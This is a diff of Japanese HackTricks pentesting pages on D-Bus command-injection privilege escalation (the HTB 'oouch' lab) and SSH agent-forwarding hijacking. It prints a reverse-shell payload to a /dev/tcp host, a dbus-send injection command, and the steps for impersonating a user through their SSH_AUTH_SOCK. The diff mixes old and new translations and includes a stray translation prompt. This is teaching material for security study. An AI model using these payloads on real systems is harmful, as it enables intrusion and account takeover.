sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
以下の例では、インターフェース `htb.oouch.Block` が監視され、**誤った通信経路でメッセージ "**_**lalalalal**_**" が送信されます**。
|
||||
以下の例では、インターフェース`htb.oouch.Block`が監視され、**"**_**lalalalal**_**"**というメッセージが誤った通信経由で送信されます。
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
|
|
@ -209,15 +198,13 @@ MESSAGE "s" {
|
|||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
`monitor`の代わりに`capture`を使用して、結果をpcapファイルに保存することができます。
|
||||
#### すべてのノイズをフィルタリングする <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
#### ノイズをフィルタリングする <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
バス上の情報があまりにも多い場合は、次のようにマッチルールを渡します：
|
||||
バス上に情報があふれている場合は、次のように一致ルールを渡します：
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
複数のルールを指定することができます。メッセージがいずれかのルールに一致する場合、そのメッセージは表示されます。以下のようになります:
|
||||
複数のルールを指定できます。メッセージがルールのいずれかに一致すると、そのメッセージが表示されます。次のように:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
|
|
@ -225,16 +212,16 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
|||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
詳細なマッチルールの構文については、[D-Busのドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html)を参照してください。
|
||||
参考: [D-Busのドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html) で、マッチルールの構文に関する詳細情報を確認してください。
|
||||
|
||||
### その他
|
||||
|
||||
`busctl`にはさらに多くのオプションがあります。[**こちらで全てを見つけることができます**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||
`busctl` にはさらに多くのオプションがあります。[**こちらですべてを見つける**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||
|
||||
## **脆弱なシナリオ**
|
||||
## **脆弱性シナリオ**
|
||||
|
||||
HTBのホスト「oouch」内のユーザー**qtc**として、_**/etc/dbus-1/system.d/htb.oouch.Block.conf**_という予期しないD-Busの設定ファイルが見つかります。
|
||||
```markup
|
||||
HTBのホスト"oouch"内のユーザー**qtc**として、_**/etc/dbus-1/system.d/htb.oouch.Block.conf**_ という予期しないD-Bus構成ファイルが見つかります。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
<!DOCTYPE busconfig PUBLIC
|
||||
|
|
@ -254,9 +241,9 @@ HTBのホスト「oouch」内のユーザー**qtc**として、_**/etc/dbus-1/sy
|
|||
|
||||
</busconfig>
|
||||
```
|
||||
前の設定からわかるように、このD-BUS通信を介して情報を送受信するには、ユーザー`root`または`www-data`である必要があります。
|
||||
前の設定から、このD-BUS通信を介して情報を送受信するには、ユーザー`root`または`www-data`である必要があることに注意してください。
|
||||
|
||||
Dockerコンテナ**aeb4525789d8**内のユーザー**qtc**として、ファイル_/code/oouch/routes.py_にいくつかのD-BUS関連のコードがあることがわかります。以下が興味深いコードです：
|
||||
Dockerコンテナ**aeb4525789d8**内のユーザー**qtc**として、ファイル_/code/oouch/routes.py_でdbus関連のコードを見つけることができます。興味深いコードは次のとおりです：
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
|
|
@ -268,17 +255,14 @@ response = block_iface.Block(client_ip)
|
|||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
以下は、D-Bus列挙およびコマンドインジェクション特権昇格に関するファイル/hive/hacktricks/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.mdからのコンテンツです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンおよびHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前（Workspace、aws、gcpなど）、"leak"という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウン構文以外の追加の要素は追加しないでください。
|
||||
如何見て取れるように、**D-Busインターフェースに接続** し、"Block" 関数に "client\_ip" を送信しています。
|
||||
|
||||
---
|
||||
如何に示されているように、これは**D-Busインターフェースに接続**し、"Block"関数に"client\_ip"を送信しています。
|
||||
D-Bus接続のもう一方には、いくつかのCコンパイルされたバイナリが実行されています。このコードは、D-Bus接続でIPアドレスを**リッスン**し、`system` 関数を介してiptablesを呼び出して、指定されたIPアドレスをブロックしています。\
|
||||
**`system`への呼び出しは、意図的にコマンドインジェクションの脆弱性**を持っているため、次のようなペイロードがリバースシェルを作成します: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
D-Bus接続のもう一方には、いくつかのCでコンパイルされたバイナリが実行されています。このコードは、D-Bus接続でIPアドレスを**リッスン**し、`system`関数を介してiptablesを呼び出して指定されたIPアドレスをブロックします。\
|
||||
**`system`への呼び出しは意図的にコマンドインジェクションの脆弱性があります**ので、次のようなペイロードを使用するとリバースシェルが作成されます：`;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
### 悪用方法
|
||||
|
||||
### 悪用する
|
||||
|
||||
このページの最後には、D-Busアプリケーションの**完全なCコード**があります。その中には、行91-97の間に**`D-Busオブジェクトパス`**と**`インターフェース名`**が**登録**されている方法が記載されています。この情報は、D-Bus接続に情報を送信するために必要になります。
|
||||
このページの最後に、D-Busアプリケーションの**完全なCコード**があります。その中には、**`D-Busオブジェクトパス`** と **`インターフェース名`** が **登録** されている91-97行の間に見つけることができます。この情報は、D-Bus接続に情報を送信するために必要になります：
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
|
|
@ -288,13 +272,13 @@ r = sd_bus_add_object_vtable(bus,
|
|||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
また、57行目では、このD-Bus通信に登録されている**唯一のメソッド**が`Block`と呼ばれていることがわかります（_**そのため、次のセクションではペイロードが`htb.oouch.Block`というサービスオブジェクト、`/htb/oouch/Block`というインターフェース、および`Block`というメソッド名に送信されることになります**_）:
|
||||
また、57行目では、このD-Bus通信に登録されている**唯一のメソッド**が`Block`と呼ばれていることがわかります（_**そのため、次のセクションでは、ペイロードがサービスオブジェクト`htb.oouch.Block`、インターフェース`/htb/oouch/Block`、およびメソッド名`Block`に送信されることになります**_）:
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
以下のPythonコードは、D-Bus接続にペイロードを送信し、`block_iface.Block(runme)`を介して`Block`メソッドに送信します（_前のコードの一部から抽出されたものであることに注意してください_）:
|
||||
以下のPythonコードは、`block_iface.Block(runme)`を介して`Block`メソッドにペイロードをD-Bus接続に送信します（_前のコードチャンクから抽出されたことに注意してください_）:
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
|
|
@ -305,25 +289,17 @@ response = block_iface.Block(runme)
|
|||
bus.close()
|
||||
```
|
||||
#### busctlとdbus-send
|
||||
|
||||
`busctl` and `dbus-send` are command-line tools used for interacting with the D-Bus system. D-Bus is a message bus system that allows communication between different processes on the same machine or even across different machines on a network.
|
||||
|
||||
`busctl`はD-Busシステムとのやり取りに使用されるコマンドラインツールです。D-Busは、同じマシン上の異なるプロセス間やネットワーク上の異なるマシン間での通信を可能にするメッセージバスシステムです。
|
||||
|
||||
`dbus-send` is another command-line tool that can be used to send messages to the D-Bus system. It allows you to specify the destination, interface, and method of the message you want to send.
|
||||
|
||||
`dbus-send`は、D-Busシステムにメッセージを送信するために使用される別のコマンドラインツールです。送信したいメッセージの宛先、インターフェース、およびメソッドを指定することができます。
|
||||
```bash
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
* `dbus-send`は、「メッセージバス」にメッセージを送信するためのツールです。
|
||||
* メッセージバスは、システム間の通信を容易にするためにシステムで使用されるソフトウェアです。メッセージキューに関連していますが、メッセージバスではメッセージが購読モデルで送信され、非常に迅速です。
|
||||
* `dbus-send`は「メッセージバス」にメッセージを送信するためのツールです。
|
||||
* メッセージバス - システム間の通信を容易にするためにシステムで使用されるソフトウェアです。メッセージキューに関連しています（メッセージは順番に並んでいます）が、メッセージバスではメッセージが購読モデルで送信され、非常に迅速です。
|
||||
* 「-system」タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます（デフォルトでは）。
|
||||
* 「--print-reply」タグは、メッセージを適切に表示し、人間が読める形式で応答を受け取るために使用されます。
|
||||
* 「--dest=Dbus-Interface-Block」は、Dbusインターフェースのアドレスです。
|
||||
* 「--string:」は、インターフェースに送信するメッセージのタイプです。メッセージを送信するためのいくつかの形式があります（double、bytes、booleans、int、objpath）。その中で、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したい場合に便利です。この場合、特殊なファイル（FIFO）を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。「string:;」は、再びオブジェクトパスを呼び出すためのもので、FIFOリバースシェルファイル/コマンドの場所を置きます。
|
||||
* 「--print-reply」タグは、メッセージを適切に表示し、人間が読める形式で返信を受け取るために使用されます。
|
||||
* 「--dest=Dbus-Interface-Block」はDbusインターフェースのアドレスです。
|
||||
* 「--string:」- インターフェースに送信したいメッセージのタイプです。ダブル、バイト、ブール、整数、オブジェクトパスなど、メッセージを送信するためのいくつかのフォーマットがあります。このうち、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したい場合に便利です。この場合、特別なファイル（FIFO）を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。「string:;」- これは、再びオブジェクトパスを呼び出すためのもので、FIFOリバースシェルファイル/コマンドの場所を置く場所です。
|
||||
|
||||
_なお、`htb.oouch.Block.Block`では、最初の部分（`htb.oouch.Block`）はサービスオブジェクトを参照し、最後の部分（`.Block`）はメソッド名を参照しています。_
|
||||
_`htb.oouch.Block.Block`では、最初の部分（`htb.oouch.Block`）がサービスオブジェクトを参照し、最後の部分（`.Block`）がメソッド名を参照しています。_
|
||||
|
||||
### Cコード
|
||||
|
||||
|
|
@ -470,14 +446,19 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
# 参考文献
|
||||
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか？ HackTricksであなたの**会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,71 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **ハッキングテクニックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Summary
|
||||
|
||||
`/etc/ssh_config`や`$HOME/.ssh/config`の設定ファイル内でこれを発見した場合、何ができるか。
|
||||
`/etc/ssh_config` または `$HOME/.ssh/config` 内でこのような設定を発見した場合、何ができるでしょうか：
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
マシン内でroot権限を持っている場合、_/tmp_ ディレクトリ内で見つけることができる**任意のエージェントによって行われたssh接続にアクセスできる可能性があります**
|
||||
もしマシン内でroot権限を持っている場合、おそらく/tmpディレクトリ内で見つけることができるsshエージェントを使用して、Bobをなりすますことができます:
|
||||
|
||||
Bobのssh-agentの1つを使用してBobになりすます：
|
||||
Bobをなりすましてください:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## なぜこれが機能するのか？
|
||||
|
||||
`SSH_AUTH_SOCK` 変数を設定すると、BobのSSH接続で使用された鍵にアクセスします。その後、彼の秘密鍵がまだそこにある場合（通常はそうでしょう）、それを使用して任意のホストにアクセスできます。
|
||||
変数`SSH_AUTH_SOCK`を設定すると、Bobのssh接続で使用されたBobのキーにアクセスします。その後、彼の秘密鍵がまだそこにある場合（通常はそうである）、それを使用して任意のホストにアクセスできます。
|
||||
|
||||
秘密鍵はエージェントのメモリに暗号化されずに保存されているため、もしBobであっても秘密鍵のパスワードを知らない場合でも、エージェントにアクセスして使用することができると思われます。
|
||||
秘密鍵はエージェントのメモリに平文で保存されているため、Bobであるが秘密鍵のパスワードを知らない場合でも、エージェントにアクセスして使用することができると思われます。
|
||||
|
||||
もう一つの選択肢は、エージェントの所有者とrootがエージェントのメモリにアクセスして秘密鍵を抽出できる可能性があることです。
|
||||
もう1つのオプションとして、エージェントの所有者であるユーザーとrootは、エージェントのメモリにアクセスして秘密鍵を抽出することができるかもしれません。
|
||||
|
||||
# 詳細な説明と悪用
|
||||
# 長い説明と悪用
|
||||
|
||||
**出典:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
**この投稿を、削除された投稿のウェイバックマシンとして提供します:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **ForwardAgentが信頼できない場合**
|
||||
|
||||
パスワードなしのSSHはUnix系オペレーティングシステムでの作業を大いに簡単にします。ネットワークがチェーンされたSSHセッションを要求する場合（例えば、制限されたネットワークにアクセスするために）、エージェント転送は非常に役立ちます。エージェント転送を使用すると、私のラップトップから開発サーバーに接続し、そこから別のサーバーにsvnチェックアウトを実行することができ、すべてパスワードなしで、私の秘密鍵をローカルワークステーションに安全に保持したままです。
|
||||
パスワードなしのSSHは、Unix系オペレーティングシステムとの生活をはるかに簡単にします。ネットワークがチェーンされたsshセッションを必要とする場合（たとえば、制限されたネットワークにアクセスする場合など）、エージェントの転送は非常に役立ちます。エージェントの転送を使用すると、ラップトップから開発サーバーに接続し、そこからさらに別のサーバーからsvnチェックアウトを実行することが可能です。すべてのパスワードなしで、同時にプライベートキーをローカルワークステーションに安全に保管します。
|
||||
|
||||
しかし、これは危険なこともあります。ウェブ検索をすると、中間ホストが信頼できる場合にのみ安全であると示すいくつかの記事が見つかります。しかし、なぜ危険なのかを説明しているものはめったにありません。
|
||||
ただし、これは危険です。迅速なウェブ検索では、中間ホストが信頼できる場合にのみ安全であると示す記事がいくつか見つかります。しかし、なぜ危険なのかについての説明はほとんど見つかりません。
|
||||
|
||||
それがこの記事の目的です。しかし、まずいくつかの背景を説明します。
|
||||
それがこの記事の目的です。しかし、まず、いくつかの背景情報を紹介します。
|
||||
|
||||
## **パスワードなし認証がどのように機能するか**
|
||||
## **パスワードなし認証の仕組み**
|
||||
|
||||
通常モードで認証する際、SSHはあなたが主張する人物であることを証明するためにパスワードを使用します。サーバーはこのパスワードのハッシュをファイルに保存しているハッシュと比較し、ハッシュが一致することを確認し、あなたを中に入れます。
|
||||
通常モードで認証する際、SSHはあなたが自分自身であることを証明するためにパスワードを使用します。サーバーはこのパスワードのハッシュをファイルに持っているものと比較し、ハッシュが一致することを確認してから入室を許可します。
|
||||
|
||||
攻撃者がサーバーに送信される間にパスワードを保護するために使用される暗号化を破ることができれば、それを盗んでいつでもあなたとしてログインすることができます。攻撃者が何十万回もの試行を許される場合、最終的にはあなたのパスワードを推測することができます。
|
||||
攻撃者がサーバーに送信される際にパスワードを保護するために使用される暗号化を解読できれば、それを盗むことができ、望むときにあなたとしてログインできます。攻撃者が何十万回もの試行を行うことが許可されると、最終的にはあなたのパスワードを推測できます。
|
||||
|
||||
はるかに安全な認証方法は[公開鍵認証](http://www.ibm.com/developerworks/library/l-keyc/index.html)であり、これはパスワードなしでログインする方法です。公開鍵認証には、公開鍵と秘密鍵の一致するペアが必要です。公開鍵は、秘密鍵でのみ復号化できるメッセージを暗号化します。リモートコンピューターは、あなたに秘密のメッセージを暗号化するためにあなたの公開鍵のコピーを使用します。あなたは、あなたの秘密鍵を使用してメッセージを復号化し、リモートコンピューターにメッセージを返送することで、あなたがあなたであることを証明します。あなたの秘密鍵はずっとあなたのローカルコンピューターに安全に保持されています。
|
||||
はるかに安全な認証方法は、[公開鍵認証](http://www.ibm.com/developerworks/library/l-keyc/index.html)です。これはパスワードなしでログインする方法です。公開鍵認証には、公開鍵と秘密鍵の一致するペアが必要です。公開鍵は、秘密鍵でのみ復号できるメッセージを暗号化します。リモートコンピューターは、あなたに秘密のメッセージを暗号化して送信するためにあなたの公開鍵のコピーを使用します。あなたは、秘密鍵を使用してメッセージを復号し、メッセージをリモートコンピューターに送信することで、あなたがあなたであることを証明します。あなたの秘密鍵は常にローカルコンピューターに安全に保管されており、攻撃から守られています。
|
||||
|
||||
秘密鍵は貴重であり、保護されなければなりません。そのため、デフォルトでは暗号化された形式で保存されます。残念ながら、これは使用する前に暗号化パスフレーズを入力することを意味します。多くの記事では、この不便を避けるためにパスフレーズなし（暗号化されていない）の秘密鍵を使用することを提案しています。それは悪い考えです。なぜなら、あなたのワークステーションにアクセスできる人（物理的アクセス、盗難、またはハッキングによって）は、あなたの公開鍵で設定された任意のコンピューターに自由にアクセスできるようになるからです。
|
||||
秘密鍵は貴重であり、保護する必要があるため、デフォルトでは暗号化形式で保存されています。残念ながら、これは使用する前に暗号化パスフレーズを入力する必要があることを意味します。多くの記事は、この不便を避けるためにパスフレーズのない（暗号化されていない）秘密鍵を使用することを提案しています。これは良い考えではありません。なぜなら、あなたのワークステーションにアクセスできる人（物理的アクセス、盗難、またはハッキングを通じて）は、あなたの公開鍵で構成されたコンピューターにも自由にアクセスできるからです。
|
||||
|
||||
OpenSSHには[ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)が含まれており、これはあなたのローカルワークステーションで実行されるデーモンです。これは、あなたの秘密鍵の復号化されたコピーをメモリにロードし、パスフレーズを一度だけ入力する必要があります。その後、SSHクライアントがリモートサーバーによって送り返された暗号化されたメッセージを復号化するように要求するために使用できるローカル[ソケット](http://en.wikipedia.org/wiki/Unix\_domain\_socket)を提供します。あなたの秘密鍵はssh-agentプロセスのメモリに安全に保持されたままでありながら、パスワードを入力せずにSSHを使用することができます。
|
||||
OpenSSHには、ローカルワークステーションで実行されるデーモンである[ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)が含まれています。これは、あなたの秘密鍵の復号済みコピーをメモリに読み込みます。したがって、一度だけ暗号化パスフレーズを入力する必要があります。その後、sshクライアントが使用できるローカル[ソケット](http://en.wikipedia.org/wiki/Unix\_domain\_socket)を提供します。リモートサーバーがあなたに秘密のメッセージを暗号化して送信するために、sshクライアントがそれに復号化するように要求することができます。あなたの秘密鍵は、パスワードを入力せずにsshをタイプすることができるまま、ssh-agentプロセスのメモリに安全に保管されたままです。
|
||||
|
||||
## **ForwardAgentがどのように機能するか**
|
||||
## **ForwardAgentの動作**
|
||||
|
||||
多くのタスクでは「チェーン」SSHセッションが必要です。先ほどの私の例を考えてみてください：私はワークステーションから開発サーバーにSSHで接続します。そこにいる間、「svn+ssh」プロトコルを使用してsvnアップデートを実行する必要があります。共有サーバーに超秘密の秘密鍵の暗号化されていないコピーを残すのは馬鹿げているので、私は今パスワード認証で立ち往生しています。しかし、私のワークステーションのSSH設定で「ForwardAgent」を有効にした場合、SSHはその組み込みのトンネリング機能を使用して、開発サーバー上に別のソケットを作成し、それを私のローカルワークステーション上のssh-agentソケットにトンネルバックします。これは、開発サーバー上のSSHクライアントが今、「この秘密のメッセージを復号化してください」という要求を直接私のワークステーション上で実行しているssh-agentに送ることができることを意味し、私の秘密鍵にアクセスすることなくsvnサーバーに対して自分自身を認証できます。
|
||||
多くのタスクでは、「チェーン」されたsshセッションが必要です。以前の例を考えてみましょう。ワークステーションから開発サーバーにssh接続します。そこで、"svn+ssh"プロトコルを使用してsvn更新を実行する必要があります。超機密の秘密鍵の平文コピーを共有サーバーに残しておくのは愚かなことなので、パスワード認証に引っかかってしまいます。ただし、ワークステーションのssh構成で「ForwardAgent」を有効にした場合、sshは組み込みのトンネリング機能を使用して、開発サーバー上にもう1つのソケットを作成し、それをローカルワークステーションで実行されているssh-agentソケットに戻すトンネリングします。これにより、開発サーバー上のsshクライアントは、自分の秘密鍵にアクセスせずに、ローカルワークステーションで実行されているssh-agentに直接「この秘密メッセージを復号化してください」とリクエストを送信でき、svnサーバーに自分自身を認証できます。
|
||||
|
||||
## **これが危険である理由**
|
||||
## **なぜこれが危険なのか**
|
||||
|
||||
簡単に言うと、中間サーバー上のroot権限を持つ人は誰でも、他のサーバーに対してあなたのssh-agentを使用して認証することができます。これがいかに簡単に行われるかを示す簡単なデモンストレーションがあります。ホスト名とユーザー名は無実の人々を保護するために変更されています。
|
||||
単純に言えば、中間サーバーのroot権限を持つ人は、あなたのssh-agentを自由に使用して他のサーバーに認証できます。簡単なデモンストレーションで、これがどれほど簡単に行われるかを示します。被告を保護するためにホスト名とユーザー名が変更されています。
|
||||
|
||||
私のラップトップはssh-agentを実行しており、これはソケットを介してsshクライアントプログラムと通信します。このソケットへのパスはSSH\_AUTH\_SOCK環境変数に保存されています：
|
||||
私のラップトップはssh-agentを実行しており、そのソケットを介してsshクライアントプログラムと通信しています。このソケットへのパスは、SSH_AUTH_SOCK環境変数に保存されています。
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
|
@ -73,31 +73,24 @@ SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
|||
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
|
||||
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
|
||||
```
|
||||
[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) プログラムにより、エージェント内のキーを表示および操作できます：
|
||||
[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) プログラムを使用すると、エージェント内のキーを表示および操作できます。
|
||||
```
|
||||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
```
|
||||
私のラップトップの\~/.ssh/configには「ForwardAgent yes」とあります。したがって、sshはローカルソケットをリモートサーバー上のローカルソケットに接続するトンネルを作成します：
|
||||
```
|
||||
私のラップトップの\~/.ssh/configには「ForwardAgent yes」と書かれています。したがって、sshはローカルソケットとリモートサーバーのローカルソケットを接続するトンネルを作成します：
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
```
|
||||
たとえ私のキーが「seattle」にインストールされていなくても、sshクライアントプログラムはまだ私のローカルマシンで実行されているエージェントにアクセスできます：
|
||||
```
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
So… who can we mess with?
|
||||
```
|
||||
では、誰をターゲットにできるでしょうか？
|
||||
```
|
||||
だから…誰をいじめることができるのか？
|
||||
```
|
||||
seattle:~ alice $ who
|
||||
alice pts/0 2012-04-06 18:24 (office.example.com)
|
||||
|
|
@ -109,7 +102,7 @@ charlie pts/23 2012-04-06 13:10 (office.example.com)
|
|||
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
||||
bob pts/29 2012-04-02 10:58 (office.example.com)
|
||||
```
|
||||
私はボブが好きではありませんでした。彼のエージェント接続を見つけるためには、彼のsshセッションの子プロセスを見つける必要があります：
|
||||
Bobが好きではありません。彼のエージェント接続を見つけるために、彼のsshセッションの子プロセスを見つける必要があります：
|
||||
```
|
||||
seattle:~ alice $ sudo -s
|
||||
[sudo] password for alice:
|
||||
|
|
@ -119,31 +112,27 @@ sshd(16816)───bash(16817)
|
|||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
```markdown
|
||||
rootが実行中のプロセスの環境を表示する方法はいくつかあります。Linuxでは、データは/proc/\<pid>/environにあります。NULLで終わる文字列で保存されているため、NULLを改行に変換するためにtrを使用します：
|
||||
```
|
||||
